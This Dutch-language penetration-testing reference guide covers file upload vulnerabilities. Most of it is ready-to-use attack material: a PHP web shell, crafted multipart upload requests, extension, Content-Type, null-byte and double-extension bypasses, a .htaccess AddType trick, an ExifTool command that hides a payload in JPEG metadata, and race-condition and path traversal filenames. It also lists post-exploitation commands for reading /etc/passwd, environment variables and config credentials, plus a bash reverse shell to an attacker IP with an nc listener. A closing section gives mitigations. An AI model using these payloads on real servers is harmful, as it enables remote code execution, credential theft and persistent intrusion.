File Upload Vulnerabilities
Volledige Referentiegids
1. Wat zijn File Upload Vulnerabilities?
File upload functionaliteit is een veelvoorkomend aanvalsoppervlak. Wanneer een server onvoldoende valideert wat er geüpload wordt, kan een aanvaller kwaadaardige bestanden plaatsen die leiden tot Remote Code Execution (RCE), informatielekken, of server-side aanvallen.
Aanvaller uploadt shell.php → server slaat op → aanvaller roept URL aan → RCE
De ernst hangt af van twee factoren: - Welke aspecten van het bestand worden gevalideerd (type, inhoud, extensie) - Wat de server doet met het bestand na de upload
2. Impact
| Impact | Voorbeeld |
|---|---|
| Remote Code Execution | Web shell uploaden → OS-commando's uitvoeren |
| Server-side aanvallen | SSRF triggeren via geüpload SVG of XML |
| Client-side aanvallen | XSS via geüploade HTML of SVG |
| Directory traversal | Bestand buiten de bedoelde map plaatsen |
| DoS | Extreem grote bestanden uploaden |
| Informatielek | Bestandsinhoud of serverpad lekt in response |
3. Hoe werkt een web shell?
Een web shell is een bestand dat server-side code bevat die OS-commando's uitvoert wanneer het aangeroepen wordt via HTTP.
PHP web shell (minimaal)
<?php echo system($_GET['cmd']); ?>
Aanroepen via:
GET /uploads/shell.php?cmd=id HTTP/1.1
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHP web shell (volledig)
<?php echo "<pre>" . system($_GET['cmd']) . "</pre>"; ?>
4. Aanvalstechnieken
4a. Geen validatie — directe upload
De makkelijkste variant: de server accepteert alles zonder enige controle.
POST /upload HTTP/1.1
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php echo system($_GET['cmd']); ?>
Daarna: GET /uploads/shell.php?cmd=whoami
4b. Content-Type validatie omzeilen
De server controleert de Content-Type header in het request — maar deze header wordt door de client gestuurd en is volledig controleerbaar.
Bypass: verander de Content-Type naar een toegestaan type terwijl de inhoud kwaadaardig blijft:
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg ← aangepast in Burp Repeater
<?php echo system($_GET['cmd']); ?>
De server denkt dat het een JPEG is — maar het is PHP.
4c. Extensie blacklist omzeilen
De server blokkeert .php maar heeft een onvolledige blacklist.
Alternatieve PHP-extensies die vaak werken:
.php3
.php4
.php5
.php7
.phtml
.phar
.shtml
Test elke variant — sommige servers voeren al deze extensies uit als PHP.
Hoofdlettervariant:
shell.PHP
shell.Php
shell.pHp
4d. Extensie whitelist omzeilen — dubbele extensie
De server staat alleen .jpg toe maar valideert alleen het laatste deel:
shell.php.jpg ← eindigt op .jpg → whitelist check ok
← server parseert als PHP door Apache-configuratie
Of omgekeerd — sommige servers kijken naar de eerste extensie:
shell.jpg.php
4e. Null byte injection
In legacy systemen (PHP < 5.3.4, C-gebaseerde validatie):
shell.php%00.jpg
De null byte termineert de string bij de validatiecheck → ziet .jpg
Het OS negeert alles na \0 → slaat op als shell.php
4f. Content-type via magic bytes spoofing
Sommige servers valideren de bestandsinhoud via magic bytes (de eerste bytes van een bestand bepalen het bestandstype).
JPEG magic bytes: FF D8 FF
Payload met geldige magic bytes + PHP code:
FF D8 FF E0 ← geldige JPEG header
... ← minimale JPEG structuur
<?php system($_GET['cmd']); ?> ← payload onderaan
In de praktijk: gebruik een legitieme JPEG en injecteer de payload via ExifTool in de metadata:
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" legitiem.jpg -o shell.jpg
De server valideert de JPEG-structuur → goedgekeurd De server verwerkt het bestand als PHP → RCE
Werkt alleen als de server de geüploade bestanden als PHP uitvoert, wat bij afbeeldingen normaal niet het geval is. Vereist bijkomende misconfiguratie of path traversal om effectief te zijn.
4g. .htaccess misbruik (Apache)
Als je een .htaccess bestand kunt uploaden naar de uploadmap, kun je Apache instrueren om een specifieke extensie als PHP uit te voeren:
AddType application/x-httpd-php .jpg
Na het uploaden van dit .htaccess bestand behandelt Apache alle .jpg bestanden in die map als PHP.
Daarna upload je een normale .jpg met PHP-payload:
shell.jpg → wordt uitgevoerd als PHP dankzij .htaccess
Aanvalsvolgorde:
1. Upload .htaccess met AddType instructie
2. Upload shell.jpg met PHP payload
3. Roep shell.jpg aan via browser → RCE
4h. Directory traversal via bestandsnaam
Als de server de bestandsnaam uit de upload gebruikt zonder sanitisatie:
filename="../shell.php"
filename="..%2Fshell.php"
Het bestand belandt buiten de uploadmap — mogelijk in een map die wél PHP uitvoert.
4i. Race condition exploit
Sommige servers uploaden het bestand tijdelijk, valideren het, en verwijderen het als het ongeldig is. Er bestaat een kort venster tussen upload en verwijdering.
Aanpak:
- Upload kwaadaardig bestand
- Stuur onmiddellijk (parallel) een request naar het geüploade bestand
- Als de timing klopt → bestand wordt uitgevoerd vóór verwijdering
Venster vergroten:
Upload een groot bestand met de payload vooraan, gevolgd door veel padding:
<?php system($_GET['cmd']); ?>[10MB aan AAAA...]
De server is langer bezig met verwerken → grotere kans op succesvolle race.
Als de tijdelijke map een pseudo-random naam heeft gegenereerd via uniqid() (tijdstempel-gebaseerd), is de naam brute-forceable via Burp Turbo Intruder.
4j. Upload via URL (server-side fetch)
Sommige applicaties laten toe een URL op te geven in plaats van een bestand te uploaden. De server haalt het bestand zelf op — dit is in essentie een SSRF-vector maar kan ook gebruikt worden om kwaadaardige bestanden te laten ophalen van een externe server die jij controleert.
5. Waar staat het geüploade bestand?
Na een succesvolle upload moet je het bestand kunnen aanroepen. Zoek de uploadlocatie via:
- Response na upload — server geeft het pad terug
- Broncode van de pagina —
<img src="/uploads/filename.jpg"> - Burp sitemap — scan de applicatie na upload
- Veelgebruikte standaardpaden:
/uploads/
/files/
/media/
/images/
/static/uploads/
/user/avatar/
/assets/
6. Testen — Stap voor stap
Stap 1 — Baseline: wat accepteert de server?
Upload een legitiem bestand (echte JPEG) → controleer of het werkt en waar het terechtkomt.
Stap 2 — Directe PHP upload
Upload shell.php → bekijk de response:
- Geaccepteerd en uitvoerbaar? → directe RCE
- Geblokkeerd op extensie? → ga naar stap 3
- Geblokkeerd op Content-Type? → ga naar stap 4
Stap 3 — Alternatieve extensies testen
shell.php3 / .php5 / .phtml / .phar / .PHP / .Php
Gebruik Burp Intruder met een extensie-woordenlijst.
Stap 4 — Content-Type bypass
Verander Content-Type: application/x-php naar Content-Type: image/jpeg in Burp Repeater.
Stap 5 — Magic bytes spoofing
Voeg JPEG magic bytes toe aan het begin van de PHP payload:
ÿØÿà<?php system($_GET['cmd']); ?>
Of gebruik ExifTool om payload in metadata te injecteren.
Stap 6 — .htaccess upload (Apache)
Probeer een .htaccess bestand te uploaden met:
AddType application/x-httpd-php .jpg
Stap 7 — Dubbele extensie / null byte
shell.php.jpg
shell.php%00.jpg
shell.jpg.php
Stap 8 — Directory traversal via filename
filename="../shell.php"
filename="..%2Fshell.php"
7. Automatische detectie — Burp Suite
Wat Burp WEL detecteert
- Basis file upload zonder validatie (actieve scan)
- Content-Type mismatches
- Bekende webshell-extensies die geaccepteerd worden
Wat Burp NIET automatisch detecteert
| Blinde hoek | Reden |
|---|---|
.htaccess upload aanval |
Vereist meerdere stappen |
| Race conditions | Timing-gebaseerd, moeilijk automatiseerbaar |
| Magic bytes spoofing | Vereist binaire payloadconstructie |
| Directory traversal via filename | Contextafhankelijk |
| Null byte injection | Minder relevant in moderne systemen |
Burp active scan = detecteert low-hanging fruit
Manueel testen = noodzakelijk voor de meeste bypasses
8. Tools
| Tool | Gebruik |
|---|---|
| Burp Suite Pro | Repeater voor bypass-tests, Intruder voor extensie-fuzzing |
| Burp Turbo Intruder | Race condition exploitatie |
| ExifTool | Payload injecteren in afbeeldingsmetadata |
| ExifTool (Windows) | exiftool.exe van exiftool.org of via WSL2 apt install exiftool |
| ffuf | Uploadpad bruteforcen |
| SecLists | /Discovery/Web-Content/ voor uploadpaden |
9. Na bevestiging — vervolgstappen
Web shell actief
│
├─ whoami / id → welke user draait de server?
├─ cat /etc/passwd → gebruikerslijst
├─ env → omgevingsvariabelen / credentials
├─ ls -la /var/www/ → applicatiestructuur verkennen
├─ cat config.php → database credentials
├─ netstat -an → interne services / open poorten
└─ Pivot naar reverse shell voor interactieve toegang
Reverse shell via web shell
# Via web shell aanroepen:
?cmd=bash -c 'bash -i >& /dev/tcp/JOUW_IP/4444 0>&1'
# Listener op jouw machine:
nc -lvnp 4444
10. Mitigaties
- Valideer op de server — nooit vertrouwen op Content-Type header van de client
- Whitelist van toegestane extensies — geen blacklist
- Hernoem geüploade bestanden — gebruik een UUID, nooit de originele bestandsnaam
- Sla bestanden op buiten de webroot — bestanden in
/var/uploads/zijn niet direct via HTTP bereikbaar - Serveer bestanden via een apart domein —
uploads.example.comzonder PHP-uitvoering - Schakel uitvoering uit in de uploadmap — Apache/Nginx configuratie:
# Apache — voorkomt uitvoering van scripts in uploadmap
<Directory /var/www/html/uploads>
php_flag engine off
Options -ExecCGI
AddHandler cgi-script .php .php3 .php4 .phtml .phar
</Directory>
- Valideer bestandsinhoud — controleer magic bytes én bestandsstructuur
- Beperk bestandsgrootte — voorkomt DoS en verkleint race condition venster
- Gebruik een CDN of object storage (S3, Cloudflare R2) — geen server-side uitvoering mogelijk